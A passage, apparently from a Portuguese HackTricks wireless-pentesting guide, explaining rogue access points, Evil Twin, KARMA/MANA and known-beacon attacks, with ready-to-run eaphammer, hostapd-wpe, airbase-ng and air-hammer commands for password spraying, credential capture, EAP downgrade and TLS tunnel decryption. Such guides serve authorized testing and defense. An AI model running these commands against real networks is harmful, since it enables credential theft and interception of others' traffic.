Se espera-se que o cliente use um **nome de usuário e senha** (note que **EAP-TLS não será válido** neste caso), então você poderia tentar obter uma **lista** de **nomes de usuário** (veja a próxima parte) e **senhas** e tentar **forçar a entrada** no acesso usando [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.**
|
||
```bash
|
||
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
|
||
```
|
||
Você também pode realizar este ataque usando `eaphammer`:
|
||
```bash
|
||
./eaphammer --eap-spray \
|
||
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
|
||
--essid example-wifi \
|
||
--password bananas \
|
||
--user-list users.txt
|
||
```
|
||
## Teoria de Ataques a Clientes
|
||
|
||
### Seleção de Rede e Roaming
|
||
|
||
Embora o protocolo 802.11 tenha regras muito específicas que ditam como uma estação pode se juntar a um ESS, ele não especifica como a estação deve selecionar um ESS para se conectar. Além disso, o protocolo permite que as estações roam livremente entre pontos de acesso que compartilham o mesmo ESSID (porque você não gostaria de perder a conectividade WiFi ao caminhar de um lado de um prédio para outro, etc). No entanto, o protocolo 802.11 não especifica como esses pontos de acesso devem ser selecionados. Além disso, mesmo que as estações devam ser autenticadas ao ESS para se associarem a um ponto de acesso, o protocolo 802.11 não exige que o ponto de acesso seja autenticado à estação.
|
||
|
||
### Listas de Redes Preferenciais (PNLs)
|
||
|
||
Cada vez que uma estação se conecta a uma rede sem fio, o ESSID da rede é armazenado na Lista de Redes Preferenciais (PNL) da estação. A PNL é uma lista ordenada de todas as redes às quais a estação se conectou no passado, e cada entrada na PNL contém o ESSID da rede e quaisquer informações de configuração específicas da rede necessárias para estabelecer uma conexão.
|
||
|
||
### Varredura Passiva
|
||
|
||
Em redes de infraestrutura, os pontos de acesso transmitem periodicamente quadros de beacon para anunciar sua presença e capacidades para as estações próximas. Beacons são quadros de broadcast, o que significa que são destinados a ser recebidos por todas as estações próximas dentro do alcance. Beacons incluem informações sobre as taxas suportadas pelo AP, capacidades de criptografia, informações adicionais e, mais importante, quadros de beacon contêm o ESSID do AP (desde que a transmissão do ESSID não esteja desativada).
|
||
|
||
Durante a varredura passiva, o dispositivo cliente escuta quadros de beacon de pontos de acesso próximos. Se o dispositivo cliente receber um quadro de beacon cujo campo ESSID corresponda a um ESSID da PNL do cliente, o cliente se conectará automaticamente ao ponto de acesso que enviou o quadro de beacon. Então, suponha que queremos mirar em um dispositivo sem fio que não está atualmente conectado a nenhum wireless. Se soubermos pelo menos uma entrada na PNL desse cliente, podemos forçar o cliente a se conectar a nós simplesmente criando nosso próprio ponto de acesso com o ESSID dessa entrada.
|
||
|
||
### Sondagem Ativa
|
||
|
||
O segundo algoritmo de seleção de rede usado no 802.11 é conhecido como Sondagem Ativa. Dispositivos clientes que usam sondagem ativa transmitem continuamente quadros de solicitação de sondagem para determinar quais APs estão ao alcance, bem como quais são suas capacidades. Solicitações de sondagem vêm em duas formas: direcionadas e de broadcast. Solicitações de sondagem direcionadas são endereçadas a um ESSID específico e são a maneira do cliente verificar se uma rede específica está por perto.
|
||
|
||
Clientes que usam sondagem direcionada enviarão solicitações de sondagem para cada rede em sua PNL. Deve-se notar que a sondagem direcionada é a única maneira de identificar a presença de redes ocultas próximas. Solicitações de sondagem de broadcast funcionam quase exatamente da mesma maneira, mas são enviadas com o campo SSID definido como NULL. Isso endereça a sondagem de broadcast a todos os pontos de acesso próximos, permitindo que a estação verifique se alguma de suas redes preferenciais está por perto sem revelar o conteúdo de sua PNL
|
||
|
||
## AP Simples com redirecionamento para a Internet
|
||
|
||
Antes de explicar como realizar ataques mais complexos, será explicado **como** simplesmente **criar** um **AP** e **redirecionar** seu **tráfego** para uma interface conectada **à** **Internet**.
|
||
|
||
Usando `ifconfig -a`, verifique se a interface wlan para criar o AP e a interface conectada à Internet estão presentes.
|
||
|
||
### DHCP & DNS
|
||
```bash
|
||
apt-get install dnsmasq #Manages DHCP and DNS
|
||
```
|
||
crie um arquivo de configuração _/etc/dnsmasq.conf_ da seguinte forma:
|
||
```
|
||
interface=wlan0
|
||
dhcp-authoritative
|
||
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
|
||
dhcp-option=3,192.168.1.1
|
||
dhcp-option=6,192.168.1.1
|
||
server=8.8.8.8
|
||
log-queries
|
||
log-dhcp
|
||
listen-address=127.0.0.1
|
||
```
|
||
Então **defina IPs** e **rotas**:
|
||
```
|
||
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
|
||
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
|
||
```
|
||
E então **inicie** o dnsmasq:
|
||
```
|
||
dnsmasq -C dnsmasq.conf -d
|
||
```
|
||
### hostapd
|
||
```
|
||
apt-get install hostapd
|
||
```
|
||
Criar um arquivo de configuração _hostapd.conf:_
|
||
```
|
||
interface=wlan0
|
||
driver=nl80211
|
||
ssid=MITIWIFI
|
||
hw_mode=g
|
||
channel=11
|
||
macaddr_acl=0
|
||
ignore_broadcast_ssid=0
|
||
auth_algs=1
|
||
wpa=2
|
||
wpa_passphrase=mitmwifi123
|
||
wpa_key_mgmt=WPA-PSK
|
||
wpa_pairwise=CCMP
|
||
wpa_group_rekey=86400
|
||
ieee80211n=1
|
||
wme_enabled=1
|
||
```
|
||
**Interrompa processos incômodos**, defina o **modo monitor** e **inicie o hostapd**:
|
||
```
|
||
airmon-ng check kill
|
||
iwconfig wlan0 mode monitor
|
||
ifconfig wlan0 up
|
||
hostapd ./hostapd.conf
|
||
```
|
||
### Encaminhamento e Redirecionamento
|
||
```bash
|
||
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
|
||
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
|
||
echo 1 > /proc/sys/net/ipv4/ip_forward
|
||
```
|
||
## Evil Twin
|
||
|
||
Um ataque Evil Twin é um tipo de ataque Wi-Fi que se aproveita do fato de que a maioria dos computadores e telefones só verá o "nome" ou ESSID de uma rede sem fio (já que a estação base não é obrigada a se autenticar contra o cliente). Isso torna muito difícil distinguir entre redes com o mesmo nome e mesmo tipo de criptografia. De fato, muitas redes terão vários pontos de acesso para extensão de rede, todos usando o mesmo nome para expandir o acesso sem confundir os usuários.
|
||
|
||
Devido à forma como a implementação dos clientes funciona (lembre-se de que o protocolo 802.11 permite que as estações roam livremente entre pontos de acesso dentro do mesmo ESS), é possível fazer com que um dispositivo mude a estação base à qual está conectado. Isso pode ser feito oferecendo um sinal melhor (o que nem sempre é possível) ou bloqueando o acesso à estação base original (pacotes de desautenticação, jamming ou alguma outra forma de ataque DoS).
|
||
|
||
Observe também que as implementações reais de redes sem fio geralmente têm mais de um ponto de acesso, e esses pontos de acesso costumam ser mais potentes e ter um alcance melhor de linha de visão devido ao seu posicionamento em direção ao teto. Desautenticar um único ponto de acesso geralmente resulta no roaming do alvo para outro ponto de acesso válido, em vez do seu AP malicioso, a menos que todos os pontos de acesso próximos sejam desautenticados (barulhento) ou você seja muito cuidadoso com o posicionamento do AP malicioso (difícil).
|
||
|
||
Você pode criar um Evil Twin Open muito básico (sem capacidade de rotear tráfego para a Internet) fazendo:
|
||
```bash
|
||
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
|
||
```
|
||
Você também pode criar um Gêmeo Maligno usando **eaphammer** (observe que para criar gêmeos malignos com eaphammer a interface **NÃO deve estar** em modo **monitor**):
|
||
```
|
||
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
|
||
```
|
||
Ou usando Airgeddon: `Opções: 5,6,7,8,9 (dentro do menu de ataque Evil Twin).`
|
||
|
||
![](<../../.gitbook/assets/image (148).png>)
|
||
|
||
Por favor, note que por padrão, se um ESSID na PNL estiver salvo como protegido por WPA, o dispositivo não se conectará automaticamente a um Evil Twin aberto. Você pode tentar fazer DoS no AP real e esperar que o usuário se conecte manualmente ao seu Evil Twin aberto, ou você pode fazer DoS no AP real e usar um Evil Twin WPA para capturar o handshake (usando este método você não poderá permitir que a vítima se conecte a você, pois você não conhece o PSK, mas pode capturar o handshake e tentar decifrá-lo).
|
||
|
||
_Alguns SO e AV alertarão o usuário de que conectar-se a uma rede aberta é perigoso..._
|
||
|
||
### WPA/WPA2 Evil Twin
|
||
|
||
Você pode criar um **Evil Twin usando WPA/2** e se os dispositivos estiverem configurados para se conectar a esse SSID com WPA/2, eles tentarão se conectar. De qualquer forma, **para completar o 4-way-handshake**, você também precisa **saber** a **senha** que o cliente vai usar. Se você **não souber**, a **conexão não será completada**.
|
||
```
|
||
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
|
||
```
|
||
### Enterprise Evil Twin
|
||
|
||
Para entender esses ataques, recomendo ler antes a breve [explicação sobre WPA Enterprise](./#wpa-enterprise-mgt).
|
||
|
||
**Usando hostapd-wpe**
|
||
|
||
`hostapd-wpe` precisa de um arquivo de **configuração** para funcionar. Para **automatizar** a geração dessas configurações, você pode usar [https://github.com/WJDigby/apd_launchpad](https://github.com/WJDigby/apd_launchpad) (baixe o arquivo python dentro de _/etc/hostapd-wpe/_)
|
||
```
|
||
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
|
||
hostapd-wpe ./victim/victim.conf -s
|
||
```
|
||
No arquivo de configuração, você pode selecionar várias coisas diferentes, como ssid, canal, arquivos de usuário, cret/key, parâmetros dh, versão wpa e autenticação...
|
||
|
||
[**Usando hostapd-wpe com EAP-TLS para permitir que qualquer certificado faça login.**](evil-twin-eap-tls.md)
|
||
|
||
**Usando EAPHammer**
|
||
```bash
|
||
# Generate Certificates
|
||
./eaphammer --cert-wizard
|
||
|
||
# Launch Attack
|
||
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
|
||
```
|
||
Por padrão, o EAPHammer utiliza estes métodos de autenticação (observe o GTC como o primeiro a ser tentado para obter senhas em texto puro e, em seguida, o uso de métodos de autenticação mais robustos):
|
||
```
|
||
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
|
||
```
|
||
Esta é a metodologia padrão para evitar tempos de conexão longos. No entanto, você também pode especificar para o servidor os métodos de autenticação do mais fraco ao mais forte:
|
||
```
|
||
--negotiate weakest
|
||
```
|
||
Ou você também pode usar:
|
||
|
||
* `--negotiate gtc-downgrade` para usar a implementação de rebaixamento GTC altamente eficiente (senhas em texto simples)
|
||
* `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` para especificar manualmente os métodos oferecidos (oferecendo os mesmos métodos de autenticação na mesma ordem que a organização tornará o ataque muito mais difícil de detectar).
|
||
* [Encontre mais informações no wiki](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
|
||
|
||
**Usando Airgeddon**
|
||
|
||
`Airgeddon` pode usar certificados previamente gerados para oferecer autenticação EAP para redes WPA/WPA2-Enterprise. A rede falsa rebaixará o protocolo de conexão para EAP-MD5, assim será capaz de **capturar o usuário e o MD5 da senha**. Posteriormente, o atacante pode tentar quebrar a senha.\
|
||
`Airggedon` oferece a possibilidade de um ataque **Evil Twin contínuo (barulhento)** ou **criar o Ataque Evil apenas até alguém se conectar (suave).**
|
||
|
||
![](<../../.gitbook/assets/image (129).png>)
|
||
|
||
### Depuração de túneis TLS PEAP e EAP-TTLS em ataques Evil Twins
|
||
|
||
_Este método foi testado em uma conexão PEAP, mas como estou descriptografando um túnel TLS arbitrário, isso também deve funcionar com EAP-TTLS_
|
||
|
||
Dentro da **configuração** do _hostapd-wpe_ **comente** a linha que contém _**dh\_file**_ (de `dh_file=/etc/hostapd-wpe/certs/dh` para `#dh_file=/etc/hostapd-wpe/certs/dh`)\
|
||
Isso fará com que `hostapd-wpe` **troque chaves usando RSA** em vez de DH, para que você possa **descriptografar** o tráfego mais tarde **conhecendo a chave privada do servidor**.
|
||
|
||
Agora inicie o **Evil Twin** usando **`hostapd-wpe`** com essa configuração modificada como de costume. Além disso, inicie **`wireshark`** na **interface** que está realizando o ataque Evil Twin.
|
||
|
||
Agora ou mais tarde (quando você já tiver capturado algumas tentativas de autenticação), você pode adicionar a chave privada RSA ao wireshark em: `Editar --> Preferências --> Protocolos --> TLS --> (lista de chaves RSA) Editar...`
|
||
|
||
Adicione uma nova entrada e preencha o formulário com estes valores: **Endereço IP = qualquer** -- **Porta = 0** -- **Protocolo = data** -- **Arquivo de Chave** (**selecione seu arquivo de chave**, para evitar problemas selecione um arquivo de chave **sem proteção por senha**).
|
||
|
||
![](<../../.gitbook/assets/image (151).png>)
|
||
|
||
E veja a nova aba **"Decrypted TLS"**:
|
||
|
||
![](<../../.gitbook/assets/image (152).png>)
|
||
|
||
## KARMA, MANA, Loud MANA e ataque Known beacons
|
||
|
||
### ESSID e MAC black/whitelists
|
||
|
||
A tabela a seguir lista os diferentes tipos de MFACLs (Listas de Controle de Acesso de Quadros de Gerenciamento) disponíveis, bem como seus efeitos quando utilizados:
|
||
|
||
![](<../../.gitbook/assets/image (149).png>)
|
||
```
|
||
# example EAPHammer MFACL file, wildcards can be used
|
||
78:f0:97:fc:b5:36
|
||
9a:35:e1:01:4f:cf
|
||
69:19:14:60:20:45
|
||
ce:52:b8:*:*:*
|
||
|
||
[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
|
||
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
|
||
```
|
||
|
||
```
|
||
# example ESSID-based MFACL file
|
||
apples
|
||
oranges
|
||
grapes
|
||
pears
|
||
|
||
[--ssid-whitelist /path/to/mac/whitelist/file.txt]
|
||
[--ssid-blacklist /path/to/mac/blacklist/file.txt]
|
||
```
|
||
### KARMA
|
||
|
||
Ataques KARMA são uma segunda forma de ataque a ponto de acesso falso que explora o processo de seleção de rede usado por estações. Em um whitepaper escrito em 2005, Dino Dai Zovi e Shane Macaulay descrevem como um atacante pode configurar um ponto de acesso para ouvir solicitações de sondagem direcionadas e responder a todas elas com respostas de sondagem direcionadas correspondentes. Isso faz com que as estações afetadas automaticamente enviem uma solicitação de associação para o ponto de acesso do atacante. O ponto de acesso então responde com uma resposta de associação, fazendo com que as estações afetadas se conectem ao ponto de acesso do atacante.
|
||
|
||
### MANA
|
||
|
||
De acordo com Ian de Villiers e Dominic White, estações modernas são projetadas para se protegerem contra ataques KARMA ignorando respostas de sondagem direcionadas de pontos de acesso que não responderam pelo menos a uma solicitação de sondagem de difusão. Isso levou a uma queda significativa no número de estações vulneráveis a ataques KARMA até 2015, quando White e de Villiers desenvolveram um meio de contornar tais proteções. No ataque KARMA aprimorado de White e de Villiers (ataque MANA), respostas de sondagem direcionadas são usadas para reconstruir as PNLs das estações próximas. Quando uma solicitação de sondagem de difusão é recebida de uma estação, o ponto de acesso do atacante responde com um SSID arbitrário da PNL da estação já visto em uma sondagem direta daquele dispositivo.
|
||
|
||
Em resumo, o algoritmo MANA funciona assim: cada vez que o ponto de acesso recebe uma solicitação de sondagem, ele primeiro determina se é uma sondagem de difusão ou direcionada. Se for direcionada, o endereço MAC do remetente é adicionado à tabela de hash (se já não estiver lá) e o ESSID é adicionado à PNL daquele dispositivo. O AP então responde com uma resposta de sondagem direcionada. Se for uma sondagem de difusão, o ponto de acesso responde com respostas de sondagem para cada uma das redes na PNL daquele dispositivo.
|
||
|
||
Ataque MANA usando eaphammer:
|
||
```
|
||
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
|
||
```
|
||
### Loud MANA
|
||
|
||
Observe que o ataque MANA padrão ainda não nos permite atacar dispositivos que não utilizam sondagem direcionada. Então, se também não conhecemos previamente nenhuma entrada na PNL do dispositivo, precisamos descobrir outra maneira de atacá-lo.
|
||
|
||
Uma possibilidade é o que é chamado de ataque Loud MANA. Esse ataque se baseia na ideia de que dispositivos clientes em proximidade física uns dos outros provavelmente terão pelo menos algumas entradas comuns em suas PNLs.
|
||
|
||
Em resumo, o ataque Loud MANA, em vez de responder a solicitações de sondagem com cada ESSID na PNL de um dispositivo específico, o AP malicioso envia respostas de sondagem para cada ESSID em todas as PNLs de todos os dispositivos que ele viu anteriormente. Relacionando isso à teoria dos conjuntos, podemos dizer que o AP envia respostas de sondagem para cada ESSID na união de todas as PNLs dos dispositivos próximos.
|
||
```
|
||
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
|
||
```
|
||
### Ataque Known Beacon
|
||
|
||
Ainda existem casos em que o ataque Loud MANA não terá sucesso.\
|
||
O ataque Known Beacon é uma maneira de "Força Bruta" para tentar fazer com que a vítima se conecte ao atacante. O atacante cria um AP que responde a qualquer ESSID e executa um código enviando beacons que falsificam ESSIDs de cada nome dentro de uma lista de palavras. Com sorte, a vítima terá alguns desses nomes de ESSID dentro de sua PNL e tentará se conectar ao AP falso.\
|
||
Eaphammer implementou esse ataque como um ataque MANA onde todos os ESSIDs dentro de uma lista são carregados (você também pode combinar isso com `--loud` para criar um ataque Loud MANA + Known beacons):
|
||
```
|
||
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
|
||
```
|
||
**Ataque Known Beacon Burst**
|
||
|
||
Como é sabido, beacons são ruidosos. Você pode usar um script dentro do projeto Eaphammer para lançar beacons de cada nome ESSID dentro de um arquivo muito rapidamente. Se você combinar esse script com um ataque MANA do Eaphammer, os clientes poderão se conectar ao seu AP.
|
||
```
|
||
# transmit a burst of 5 forged beacon packets for each entry in list
|
||
./forge-beacons -i wlan1 \
|
||
--bssid de:ad:be:ef:13:37 \
|
||
--known-essids-file known-s.txt \
|
||
--dst-addr 11:22:33:11:22:33 \
|
||
--burst-count 5
|
||
```
|
||
## Wi-Fi Direct
|
||
|
||
Wi-Fi Direct é um padrão Wi-Fi que permite que dispositivos se conectem entre si sem um AP sem fio, pois um dos dois dispositivos atuará como AP (chamado de proprietário do grupo). Você pode encontrar Wi-Fi Direct em vários dispositivos IoT, como impressoras, TVs...
|
||
|
||
Wi-Fi Direct depende do Wi-Fi Protected Setup (**WPS**) para conectar os dispositivos de forma segura. O WPS possui vários métodos de configuração, como Configuração por **Push-Button** (PBC), entrada de **PIN** e Comunicação por **Campo Próximo** (NFC)
|
||
|
||
Portanto, os ataques anteriormente vistos ao PIN do WPS também são válidos aqui se o PIN for usado.
|
||
|
||
### EvilDirect Hijacking
|
||
|
||
Isso funciona como um Evil-Twin, mas para Wi-Fi Direct, você pode se passar por um proprietário de grupo para tentar fazer com que outros dispositivos, como telefones, se conectem a você: `airbase-ng -c 6 -e DIRECT-5x-BRAVIA -a BB:BB:BB:BB:BB:BB mon0`
|
||
|
||
## Referências
|
||
|
||
* [https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee](https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee)
|
||
* [https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9](https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9)
|
||
* [https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38](https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38)
|
||
* [https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d](https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d)
|
||
* [https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf](https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf)
|
||
* [http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
|
||
* [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)
|
||
* [https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d](https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d)
|
||
|
||
TODO: Dê uma olhada em [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (login com facebook e imitação de WPA em portais cativos)
|
||
|
||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Participe do servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de recompensas por bugs!
|
||
|
||
**Insights de Hacking**\
|
||
Engaje-se com conteúdo que explora a emoção e os desafios do hacking
|
||
|
||
**Notícias de Hacking em Tempo Real**\
|
||
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
|
||
|
||
**Últimos Anúncios**\
|
||
Fique informado com os mais novos lançamentos de recompensas por bugs e atualizações cruciais da plataforma
|
||
|
||
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
|
||
|
||
<details>
|
||
|
||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Outras formas de apoiar o HackTricks:
|
||
|
||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||
* **Participe do** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou do [**grupo telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
||
|
||
</details>
|